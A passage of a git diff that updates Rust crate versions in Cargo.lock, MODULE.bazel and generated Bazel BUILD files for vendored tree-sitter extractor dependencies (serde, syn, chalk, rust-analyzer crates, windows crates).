+[[package]] +name = "salsa-macro-rules" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2619b4b451beab0a7e4364ff1e6f31950e7e418888fd9bf2f28889671563166a" + +[[package]] +name = "salsa-macros" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4be57a99b3896e8d26850428a6874fb86849e2db874e1db3528e5cee4337d277" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn", + "synstructure", +] + [[package]] name = "same-file" version = "1.0.6" @@ -2068,18 +2185,18 @@ dependencies = [ [[package]] name = "serde" -version = "1.0.218" +version = "1.0.219" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e8dfc9d19bdbf6d17e22319da49161d5d0108e4188e8b680aef6299eed22df60" +checksum = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6" dependencies = [ "serde_derive", ] [[package]] name = "serde_derive" -version = "1.0.218" +version = "1.0.219" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f09503e191f4e797cb8aac08e9a4a4695c5edf6a2e70e376d961ddd5c969f82b" +checksum = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00" dependencies = [ "proc-macro2", "quote", @@ -2088,9 +2205,9 @@ dependencies = [ [[package]] name = "serde_json" -version = "1.0.139" +version = "1.0.140" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "44f86c3acccc9c65b153fe1b85a3be07fe5515274ec9f0653b4a0875731c72a6" +checksum = "20068b6e96dc6c9bd23e01df8827e6c7e1f2fddd43c21810382803c136b99373" dependencies = [ "itoa", "memchr", @@ -2201,9 +2318,9 @@ checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" [[package]] name = "syn" -version = "2.0.98" +version = "2.0.100" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "36147f1a48ae0ec2b5b3bc5b537d267457555a10dc06f3dbc8cb11ba3006d3b1" +checksum = "b09a44accad81e1ba1cd74a32461ba89dee89095ba17b32f5d03683b1b1fc2a0" dependencies = [ "proc-macro2", "quote", @@ -2636,6 +2753,16 @@ version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" +[[package]] +name = "windows" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd04d41d93c4992d421894c18c8b43496aa748dd4c081bac0dc93eb0489272b6" +dependencies = [ + "windows-core 0.58.0", + "windows-targets 0.52.6", +] + [[package]] name = "windows-core" version = "0.52.0" @@ -2645,6 +2772,66 @@ dependencies = [ "windows-targets 0.52.6", ] +[[package]] +name = "windows-core" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ba6d44ec8c2591c134257ce647b7ea6b20335bf6379a27dac5f1641fcf59f99" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-result", + "windows-strings", + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-implement" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2bbd5b46c938e506ecbce286b6628a02171d56153ba733b6c741fc627ec9579b" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-interface" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "053c4c462dc91d3b1504c6fe5a726dd15e216ba718e84a0e46a88fbe5ded3515" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-link" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76840935b766e1b0a05c0066835fb9ec80071d4c09a16f6bd5f7e655e3c14c38" + +[[package]] +name = "windows-result" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d1043d8214f791817bab27572aaa8af63732e11bf84aa21a45a78d6c317ae0e" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-strings" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4cd9b125c486025df0eabcb585e62173c6c9eddcec5d117d3b6e8c30e2ee4d10" +dependencies = [ + "windows-result", + "windows-targets 0.52.6", +] + [[package]] name = "windows-sys" version = "0.48.0" diff --git a/MODULE.bazel b/MODULE.bazel index 4fd74659da6..ce3aa32cb76 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -71,13 +71,13 @@ use_repo( tree_sitter_extractors_deps = use_extension("//misc/bazel/3rdparty:tree_sitter_extractors_extension.bzl", "r") use_repo( tree_sitter_extractors_deps, - "vendor_ts__anyhow-1.0.96", + "vendor_ts__anyhow-1.0.97", "vendor_ts__argfile-0.2.1", - "vendor_ts__chalk-ir-0.99.0", - "vendor_ts__chrono-0.4.39", - "vendor_ts__clap-4.5.31", + "vendor_ts__chalk-ir-0.100.0", + "vendor_ts__chrono-0.4.40", + "vendor_ts__clap-4.5.32", "vendor_ts__dunce-1.0.5", - "vendor_ts__either-1.14.0", + "vendor_ts__either-1.15.0", "vendor_ts__encoding-0.2.33", "vendor_ts__figment-0.10.19", "vendor_ts__flate2-1.1.0", @@ -88,31 +88,31 @@ use_repo( "vendor_ts__mustache-0.9.0", "vendor_ts__num-traits-0.2.19", "vendor_ts__num_cpus-1.16.0", - "vendor_ts__proc-macro2-1.0.93", - "vendor_ts__quote-1.0.38", - "vendor_ts__ra_ap_base_db-0.0.266", - "vendor_ts__ra_ap_cfg-0.0.266", - "vendor_ts__ra_ap_hir-0.0.266", - "vendor_ts__ra_ap_hir_def-0.0.266", - "vendor_ts__ra_ap_hir_expand-0.0.266", - "vendor_ts__ra_ap_hir_ty-0.0.266", - "vendor_ts__ra_ap_ide_db-0.0.266", - "vendor_ts__ra_ap_intern-0.0.266", - "vendor_ts__ra_ap_load-cargo-0.0.266", - "vendor_ts__ra_ap_parser-0.0.266", - "vendor_ts__ra_ap_paths-0.0.266", - "vendor_ts__ra_ap_project_model-0.0.266", - "vendor_ts__ra_ap_span-0.0.266", - "vendor_ts__ra_ap_stdx-0.0.266", - "vendor_ts__ra_ap_syntax-0.0.266", - "vendor_ts__ra_ap_vfs-0.0.266", + "vendor_ts__proc-macro2-1.0.94", + "vendor_ts__quote-1.0.40", + "vendor_ts__ra_ap_base_db-0.0.270", + "vendor_ts__ra_ap_cfg-0.0.270", + "vendor_ts__ra_ap_hir-0.0.270", + "vendor_ts__ra_ap_hir_def-0.0.270", + "vendor_ts__ra_ap_hir_expand-0.0.270", + "vendor_ts__ra_ap_hir_ty-0.0.270", + "vendor_ts__ra_ap_ide_db-0.0.270", + "vendor_ts__ra_ap_intern-0.0.270", + "vendor_ts__ra_ap_load-cargo-0.0.270", + "vendor_ts__ra_ap_parser-0.0.270", + "vendor_ts__ra_ap_paths-0.0.270", + "vendor_ts__ra_ap_project_model-0.0.270", + "vendor_ts__ra_ap_span-0.0.270", + "vendor_ts__ra_ap_stdx-0.0.270", + "vendor_ts__ra_ap_syntax-0.0.270", + "vendor_ts__ra_ap_vfs-0.0.270", "vendor_ts__rand-0.9.0", "vendor_ts__rayon-1.10.0", "vendor_ts__regex-1.11.1", - "vendor_ts__serde-1.0.218", - "vendor_ts__serde_json-1.0.139", + "vendor_ts__serde-1.0.219", + "vendor_ts__serde_json-1.0.140", "vendor_ts__serde_with-3.12.0", - "vendor_ts__syn-2.0.98", + "vendor_ts__syn-2.0.100", "vendor_ts__toml-0.8.20", "vendor_ts__tracing-0.1.41", "vendor_ts__tracing-flame-0.2.0", diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.heck-0.4.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.allocator-api2-0.2.21.bazel similarity index 97% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.heck-0.4.1.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.allocator-api2-0.2.21.bazel index b0bedc8f9c4..4d4616ad049 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.heck-0.4.1.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.allocator-api2-0.2.21.bazel @@ -11,7 +11,7 @@ load("@rules_rust//rust:defs.bzl", "rust_library") package(default_visibility = ["//visibility:public"]) rust_library( - name = "heck", + name = "allocator_api2", srcs = glob( include = ["**/*.rs"], allow_empty = True, @@ -29,7 +29,7 @@ rust_library( ], ), crate_features = [ - "default", + "alloc", ], crate_root = "src/lib.rs", edition = "2018", @@ -38,7 +38,7 @@ rust_library( ], tags = [ "cargo-bazel", - "crate-name=heck", + "crate-name=allocator-api2", "manual", "noclippy", "norustfmt", @@ -82,5 +82,5 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.4.1", + version = "0.2.21", ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anyhow-1.0.96.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anyhow-1.0.97.bazel similarity index 97% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anyhow-1.0.96.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anyhow-1.0.97.bazel index 25be98a2a2a..ae13110a5ea 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anyhow-1.0.96.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anyhow-1.0.97.bazel @@ -84,9 +84,9 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "1.0.96", + version = "1.0.97", deps = [ - "@vendor_ts__anyhow-1.0.96//:build_script_build", + "@vendor_ts__anyhow-1.0.97//:build_script_build", ], ) @@ -139,7 +139,7 @@ cargo_build_script( "noclippy", "norustfmt", ], - version = "1.0.96", + version = "1.0.97", visibility = ["//visibility:private"], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bazel index 3e23cd0ce5c..31e9ae6079a 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bazel @@ -32,14 +32,14 @@ filegroup( # Workspace Member Dependencies alias( - name = "anyhow-1.0.96", - actual = "@vendor_ts__anyhow-1.0.96//:anyhow", + name = "anyhow-1.0.97", + actual = "@vendor_ts__anyhow-1.0.97//:anyhow", tags = ["manual"], ) alias( name = "anyhow", - actual = "@vendor_ts__anyhow-1.0.96//:anyhow", + actual = "@vendor_ts__anyhow-1.0.97//:anyhow", tags = ["manual"], ) @@ -56,38 +56,38 @@ alias( ) alias( - name = "chalk-ir-0.99.0", - actual = "@vendor_ts__chalk-ir-0.99.0//:chalk_ir", + name = "chalk-ir-0.100.0", + actual = "@vendor_ts__chalk-ir-0.100.0//:chalk_ir", tags = ["manual"], ) alias( name = "chalk-ir", - actual = "@vendor_ts__chalk-ir-0.99.0//:chalk_ir", + actual = "@vendor_ts__chalk-ir-0.100.0//:chalk_ir", tags = ["manual"], ) alias( - name = "chrono-0.4.39", - actual = "@vendor_ts__chrono-0.4.39//:chrono", + name = "chrono-0.4.40", + actual = "@vendor_ts__chrono-0.4.40//:chrono", tags = ["manual"], ) alias( name = "chrono", - actual = "@vendor_ts__chrono-0.4.39//:chrono", + actual = "@vendor_ts__chrono-0.4.40//:chrono", tags = ["manual"], ) alias( - name = "clap-4.5.31", - actual = "@vendor_ts__clap-4.5.31//:clap", + name = "clap-4.5.32", + actual = "@vendor_ts__clap-4.5.32//:clap", tags = ["manual"], ) alias( name = "clap", - actual = "@vendor_ts__clap-4.5.31//:clap", + actual = "@vendor_ts__clap-4.5.32//:clap", tags = ["manual"], ) @@ -104,14 +104,14 @@ alias( ) alias( - name = "either-1.14.0", - actual = "@vendor_ts__either-1.14.0//:either", + name = "either-1.15.0", + actual = "@vendor_ts__either-1.15.0//:either", tags = ["manual"], ) alias( name = "either", - actual = "@vendor_ts__either-1.14.0//:either", + actual = "@vendor_ts__either-1.15.0//:either", tags = ["manual"], ) @@ -236,224 +236,224 @@ alias( ) alias( - name = "proc-macro2-1.0.93", - actual = "@vendor_ts__proc-macro2-1.0.93//:proc_macro2", + name = "proc-macro2-1.0.94", + actual = "@vendor_ts__proc-macro2-1.0.94//:proc_macro2", tags = ["manual"], ) alias( name = "proc-macro2", - actual = "@vendor_ts__proc-macro2-1.0.93//:proc_macro2", + actual = "@vendor_ts__proc-macro2-1.0.94//:proc_macro2", tags = ["manual"], ) alias( - name = "quote-1.0.38", - actual = "@vendor_ts__quote-1.0.38//:quote", + name = "quote-1.0.40", + actual = "@vendor_ts__quote-1.0.40//:quote", tags = ["manual"], ) alias( name = "quote", - actual = "@vendor_ts__quote-1.0.38//:quote", + actual = "@vendor_ts__quote-1.0.40//:quote", tags = ["manual"], ) alias( - name = "ra_ap_base_db-0.0.266", - actual = "@vendor_ts__ra_ap_base_db-0.0.266//:ra_ap_base_db", + name = "ra_ap_base_db-0.0.270", + actual = "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db", tags = ["manual"], ) alias( name = "ra_ap_base_db", - actual = "@vendor_ts__ra_ap_base_db-0.0.266//:ra_ap_base_db", + actual = "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db", tags = ["manual"], ) alias( - name = "ra_ap_cfg-0.0.266", - actual = "@vendor_ts__ra_ap_cfg-0.0.266//:ra_ap_cfg", + name = "ra_ap_cfg-0.0.270", + actual = "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg", tags = ["manual"], ) alias( name = "ra_ap_cfg", - actual = "@vendor_ts__ra_ap_cfg-0.0.266//:ra_ap_cfg", + actual = "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg", tags = ["manual"], ) alias( - name = "ra_ap_hir-0.0.266", - actual = "@vendor_ts__ra_ap_hir-0.0.266//:ra_ap_hir", + name = "ra_ap_hir-0.0.270", + actual = "@vendor_ts__ra_ap_hir-0.0.270//:ra_ap_hir", tags = ["manual"], ) alias( name = "ra_ap_hir", - actual = "@vendor_ts__ra_ap_hir-0.0.266//:ra_ap_hir", + actual = "@vendor_ts__ra_ap_hir-0.0.270//:ra_ap_hir", tags = ["manual"], ) alias( - name = "ra_ap_hir_def-0.0.266", - actual = "@vendor_ts__ra_ap_hir_def-0.0.266//:ra_ap_hir_def", + name = "ra_ap_hir_def-0.0.270", + actual = "@vendor_ts__ra_ap_hir_def-0.0.270//:ra_ap_hir_def", tags = ["manual"], ) alias( name = "ra_ap_hir_def", - actual = "@vendor_ts__ra_ap_hir_def-0.0.266//:ra_ap_hir_def", + actual = "@vendor_ts__ra_ap_hir_def-0.0.270//:ra_ap_hir_def", tags = ["manual"], ) alias( - name = "ra_ap_hir_expand-0.0.266", - actual = "@vendor_ts__ra_ap_hir_expand-0.0.266//:ra_ap_hir_expand", + name = "ra_ap_hir_expand-0.0.270", + actual = "@vendor_ts__ra_ap_hir_expand-0.0.270//:ra_ap_hir_expand", tags = ["manual"], ) alias( name = "ra_ap_hir_expand", - actual = "@vendor_ts__ra_ap_hir_expand-0.0.266//:ra_ap_hir_expand", + actual = "@vendor_ts__ra_ap_hir_expand-0.0.270//:ra_ap_hir_expand", tags = ["manual"], ) alias( - name = "ra_ap_hir_ty-0.0.266", - actual = "@vendor_ts__ra_ap_hir_ty-0.0.266//:ra_ap_hir_ty", + name = "ra_ap_hir_ty-0.0.270", + actual = "@vendor_ts__ra_ap_hir_ty-0.0.270//:ra_ap_hir_ty", tags = ["manual"], ) alias( name = "ra_ap_hir_ty", - actual = "@vendor_ts__ra_ap_hir_ty-0.0.266//:ra_ap_hir_ty", + actual = "@vendor_ts__ra_ap_hir_ty-0.0.270//:ra_ap_hir_ty", tags = ["manual"], ) alias( - name = "ra_ap_ide_db-0.0.266", - actual = "@vendor_ts__ra_ap_ide_db-0.0.266//:ra_ap_ide_db", + name = "ra_ap_ide_db-0.0.270", + actual = "@vendor_ts__ra_ap_ide_db-0.0.270//:ra_ap_ide_db", tags = ["manual"], ) alias( name = "ra_ap_ide_db", - actual = "@vendor_ts__ra_ap_ide_db-0.0.266//:ra_ap_ide_db", + actual = "@vendor_ts__ra_ap_ide_db-0.0.270//:ra_ap_ide_db", tags = ["manual"], ) alias( - name = "ra_ap_intern-0.0.266", - actual = "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern", + name = "ra_ap_intern-0.0.270", + actual = "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern", tags = ["manual"], ) alias( name = "ra_ap_intern", - actual = "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern", + actual = "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern", tags = ["manual"], ) alias( - name = "ra_ap_load-cargo-0.0.266", - actual = "@vendor_ts__ra_ap_load-cargo-0.0.266//:ra_ap_load_cargo", + name = "ra_ap_load-cargo-0.0.270", + actual = "@vendor_ts__ra_ap_load-cargo-0.0.270//:ra_ap_load_cargo", tags = ["manual"], ) alias( name = "ra_ap_load-cargo", - actual = "@vendor_ts__ra_ap_load-cargo-0.0.266//:ra_ap_load_cargo", + actual = "@vendor_ts__ra_ap_load-cargo-0.0.270//:ra_ap_load_cargo", tags = ["manual"], ) alias( - name = "ra_ap_parser-0.0.266", - actual = "@vendor_ts__ra_ap_parser-0.0.266//:ra_ap_parser", + name = "ra_ap_parser-0.0.270", + actual = "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser", tags = ["manual"], ) alias( name = "ra_ap_parser", - actual = "@vendor_ts__ra_ap_parser-0.0.266//:ra_ap_parser", + actual = "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser", tags = ["manual"], ) alias( - name = "ra_ap_paths-0.0.266", - actual = "@vendor_ts__ra_ap_paths-0.0.266//:ra_ap_paths", + name = "ra_ap_paths-0.0.270", + actual = "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths", tags = ["manual"], ) alias( name = "ra_ap_paths", - actual = "@vendor_ts__ra_ap_paths-0.0.266//:ra_ap_paths", + actual = "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths", tags = ["manual"], ) alias( - name = "ra_ap_project_model-0.0.266", - actual = "@vendor_ts__ra_ap_project_model-0.0.266//:ra_ap_project_model", + name = "ra_ap_project_model-0.0.270", + actual = "@vendor_ts__ra_ap_project_model-0.0.270//:ra_ap_project_model", tags = ["manual"], ) alias( name = "ra_ap_project_model", - actual = "@vendor_ts__ra_ap_project_model-0.0.266//:ra_ap_project_model", + actual = "@vendor_ts__ra_ap_project_model-0.0.270//:ra_ap_project_model", tags = ["manual"], ) alias( - name = "ra_ap_span-0.0.266", - actual = "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span", + name = "ra_ap_span-0.0.270", + actual = "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span", tags = ["manual"], ) alias( name = "ra_ap_span", - actual = "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span", + actual = "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span", tags = ["manual"], ) alias( - name = "ra_ap_stdx-0.0.266", - actual = "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx", + name = "ra_ap_stdx-0.0.270", + actual = "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx", tags = ["manual"], ) alias( - name = "stdx-0.0.266", - actual = "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx", + name = "stdx-0.0.270", + actual = "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx", tags = ["manual"], ) alias( name = "stdx", - actual = "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx", + actual = "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx", tags = ["manual"], ) alias( - name = "ra_ap_syntax-0.0.266", - actual = "@vendor_ts__ra_ap_syntax-0.0.266//:ra_ap_syntax", + name = "ra_ap_syntax-0.0.270", + actual = "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax", tags = ["manual"], ) alias( name = "ra_ap_syntax", - actual = "@vendor_ts__ra_ap_syntax-0.0.266//:ra_ap_syntax", + actual = "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax", tags = ["manual"], ) alias( - name = "ra_ap_vfs-0.0.266", - actual = "@vendor_ts__ra_ap_vfs-0.0.266//:ra_ap_vfs", + name = "ra_ap_vfs-0.0.270", + actual = "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs", tags = ["manual"], ) alias( name = "ra_ap_vfs", - actual = "@vendor_ts__ra_ap_vfs-0.0.266//:ra_ap_vfs", + actual = "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs", tags = ["manual"], ) @@ -494,26 +494,26 @@ alias( ) alias( - name = "serde-1.0.218", - actual = "@vendor_ts__serde-1.0.218//:serde", + name = "serde-1.0.219", + actual = "@vendor_ts__serde-1.0.219//:serde", tags = ["manual"], ) alias( name = "serde", - actual = "@vendor_ts__serde-1.0.218//:serde", + actual = "@vendor_ts__serde-1.0.219//:serde", tags = ["manual"], ) alias( - name = "serde_json-1.0.139", - actual = "@vendor_ts__serde_json-1.0.139//:serde_json", + name = "serde_json-1.0.140", + actual = "@vendor_ts__serde_json-1.0.140//:serde_json", tags = ["manual"], ) alias( name = "serde_json", - actual = "@vendor_ts__serde_json-1.0.139//:serde_json", + actual = "@vendor_ts__serde_json-1.0.140//:serde_json", tags = ["manual"], ) @@ -530,14 +530,14 @@ alias( ) alias( - name = "syn-2.0.98", - actual = "@vendor_ts__syn-2.0.98//:syn", + name = "syn-2.0.100", + actual = "@vendor_ts__syn-2.0.100//:syn", tags = ["manual"], ) alias( name = "syn", - actual = "@vendor_ts__syn-2.0.98//:syn", + actual = "@vendor_ts__syn-2.0.100//:syn", tags = ["manual"], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.boxcar-0.2.11.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.boxcar-0.2.11.bazel new file mode 100644 index 00000000000..06ae2c25a76 --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.boxcar-0.2.11.bazel @@ -0,0 +1,83 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//rust:defs.bzl", "rust_library") + +package(default_visibility = ["//visibility:public"]) + +rust_library( + name = "boxcar", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_root = "src/lib.rs", + edition = "2021", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=boxcar", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "0.2.11", +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.camino-1.1.9.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.camino-1.1.9.bazel index 55635691a8f..27672271a76 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.camino-1.1.9.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.camino-1.1.9.bazel @@ -87,7 +87,7 @@ rust_library( version = "1.1.9", deps = [ "@vendor_ts__camino-1.1.9//:build_script_build", - "@vendor_ts__serde-1.0.218//:serde", + "@vendor_ts__serde-1.0.219//:serde", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cargo-platform-0.1.9.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cargo-platform-0.1.9.bazel index 3882206b469..a95435a6151 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cargo-platform-0.1.9.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cargo-platform-0.1.9.bazel @@ -81,6 +81,6 @@ rust_library( }), version = "0.1.9", deps = [ - "@vendor_ts__serde-1.0.218//:serde", + "@vendor_ts__serde-1.0.219//:serde", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cargo_metadata-0.18.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cargo_metadata-0.18.1.bazel index 0cbaa4613c0..17cd583761c 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cargo_metadata-0.18.1.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cargo_metadata-0.18.1.bazel @@ -87,8 +87,8 @@ rust_library( "@vendor_ts__camino-1.1.9//:camino", "@vendor_ts__cargo-platform-0.1.9//:cargo_platform", "@vendor_ts__semver-1.0.24//:semver", - "@vendor_ts__serde-1.0.218//:serde", - "@vendor_ts__serde_json-1.0.139//:serde_json", + "@vendor_ts__serde-1.0.219//:serde", + "@vendor_ts__serde_json-1.0.140//:serde_json", "@vendor_ts__thiserror-1.0.69//:thiserror", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-derive-0.99.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-derive-0.100.0.bazel similarity index 95% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-derive-0.99.0.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-derive-0.100.0.bazel index bb2cfb0ca84..3e9e66a96dc 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-derive-0.99.0.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-derive-0.100.0.bazel @@ -79,11 +79,11 @@ rust_proc_macro( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.99.0", + version = "0.100.0", deps = [ - "@vendor_ts__proc-macro2-1.0.93//:proc_macro2", - "@vendor_ts__quote-1.0.38//:quote", - "@vendor_ts__syn-2.0.98//:syn", + "@vendor_ts__proc-macro2-1.0.94//:proc_macro2", + "@vendor_ts__quote-1.0.40//:quote", + "@vendor_ts__syn-2.0.100//:syn", "@vendor_ts__synstructure-0.13.1//:synstructure", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-ir-0.99.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-ir-0.100.0.bazel similarity index 97% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-ir-0.99.0.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-ir-0.100.0.bazel index 45829e9abfe..9b77e1de102 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-ir-0.99.0.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.chalk-ir-0.100.0.bazel @@ -31,7 +31,7 @@ 